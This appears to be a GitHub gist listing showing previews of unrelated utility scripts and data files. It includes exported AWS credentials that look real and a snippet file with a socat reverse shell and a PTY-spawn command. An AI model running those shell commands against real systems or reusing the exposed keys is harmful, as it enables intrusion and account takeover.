We can make this file beautiful and searchable if this error is corrected: Unclosed quoted field in line 7.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Log Source,Security Value,Primary Use Cases,Detection Strengths,Limitations,Cost Impact | |
| CloudTrail,โ โ โ โ โ ,"API auditing, compliance, incident response","Privilege escalation, account takeover, policy changes","No data plane events, potential gaps in coverage","High volume, moderate cost" | |
| VPC Flow Logs,โ โ โ โ ,"Network monitoring, lateral movement detection","Data exfiltration, C2 comms, network reconnaissance","Metadata only, no packet inspection","Very high volume, high cost" | |
| GuardDuty,โ โ โ โ ,"Threat detection, malware identification","Known attack patterns, threat intelligence integration","Limited customization, false positives","Fixed pricing, cost-effective" | |
| Config,โ โ โ ,"Configuration compliance, change tracking","Misconfigurations, policy violations, resource drift","Not real-time, config-focused only","Low volume, low cost" | |
| ALB/ELB Logs,โ โ โ โ ,"Web application security, DDoS detection","SQL injection, XSS, application attacks","Only web traffic, requires parsing","High volume, moderate cost" | |
| WAF Logs,โ โ โ ,"Web a |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| export AWS_ACCESS_KEY_ID=AKIAV4VAJD54YV77UM5R | |
| export AWS_SECRET_ACCESS_KEY=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 | |
| export AWS_REGION=us-east-2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| # wait-for-it.sh | |
| # Script to wait for the rabbitmq service to get READY | |
| # Usage : ./wait-for-it.sh <HOST> <PORT> | |
| # set -e | |
| host="$1" | |
| port="$2" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #! /bin/sh | |
| # TAKEN FROM stackoverflow, but i forgot its source | |
| # Save Git data | |
| cp -r .git gitold | |
| # Remove all empty Git object files | |
| find .git -type f -empty -delete -print |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # emojiparty: a blend of random-emoji and terminalparty | |
| PROMPT_EMOJI=(๐ถ ๐ฑ ๐ญ ๐น ๐ฐ ๐ป ๐ผ ๐จ ๐ฏ ๐ฆ ๐ฎ ๐ท ๐ฝ ๐ต ๐ ๐ ๐ ๐ ๐ ๐ง \ | |
| ๐ฆ ๐ค ๐ฃ ๐ฅ ๐บ ๐ ๐ด ๐ฆ ๐ ๐ ๐ ๐ ๐ท ๐ฆ ๐ ๐ ๐ก ๐ฌ ๐ณ ๐ ๐ ๐ ๐ ๐ \ | |
| ๐ ๐ช ๐ซ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ฆ ๐ ๐ ๐ฉ ๐ ๐ ๐ฟ ๐ ๐ ๐พ ๐บ \ | |
| ๐ป ๐ท ๐ผ ๐ธ ๐ ๐ฐ ๐ ๐ ๐ธ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ฒ ๐ ๐ ๐ ๐ \ | |
| ๐ก ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ฉ ๐ซ ๐ฌ โต๏ธ ๐ฅ ๐ค โด ๐ณ ๐ ๐ฐ ๐บ ๐ง \ | |
| ๐ ๐ฌ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ค ๐ค \ | |
| ๐ ๐ค ๐ ๐ถ ๐ ๐ ๐ ๐ ๐ค ๐ณ ๐ ๐ ๐ ๐ ๐ ๐ ๐ฃ ๐ ๐ฏ ๐ฆ ๐ง ๐ต ๐ฒ ๐ค \ | |
| ๐ท ๐ค ๐ค ๐ด ๐ค ๐ ๐ฝ ๐ค ๐บ ๐ธ ๐ป ๐ผ ๐ฝ ๐พ โฝ๏ธ ๐ ๐ ๐ ๐ ๐ฑ ๐ ๐ธ ๐ ๐ \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| # source : https://github.com/aanand/docker-wait/blob/master/wait | |
| set -e | |
| host=$(env | grep _TCP_ADDR | cut -d = -f 2) | |
| port=$(env | grep _TCP_PORT | cut -d = -f 2) | |
| echo -n "waiting for TCP connection to $host:$port..." |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import requests | |
| client = requests.Session() | |
| debug = False | |
| def post(url, data, headers=None, proxy=False): | |
| if not headers: | |
| headers = {} | |
| headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Source : https://stackoverflow.com/questions/50467698/how-to-delete-files-older-than-7-days-in-s3 | |
| aws s3 ls BUCKETNAME/ | while read -r line; | |
| do | |
| createDate=`echo $line|awk {'print $1" "$2'}` | |
| createDate=`date -d"$createDate" +%s` | |
| olderThan=`date --date "7 days ago" +%s` | |
| if [[ $createDate -lt $olderThan ]] | |
| then | |
| fileName=`echo $line|awk {'print $4'}` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Source : https://mmas.github.io/read-apache-access-log-pandas | |
| # https://mmas.github.io/analyze-apache-access-log-pandas | |
| import re | |
| import pandas as pd | |
| from datetime import datetime | |
| import pytz | |
| from IPython import embed |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [[snippets]] | |
| description = "Python PTY Bash" | |
| command = "python -c 'import pty; pty.spawn(\"/bin/bash\")'" | |
| output = "\"\"" | |
| [[snippets]] | |
| description = "[Reverse Shell] Socat Reverse Shell" | |
| command = "socat file:`tty`,raw,echo=0 tcp-listen:<PORT=4444> #Listener socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<HOST>:<PORT=4444> #Victim" | |
| output = "\"\"" |
NewerOlder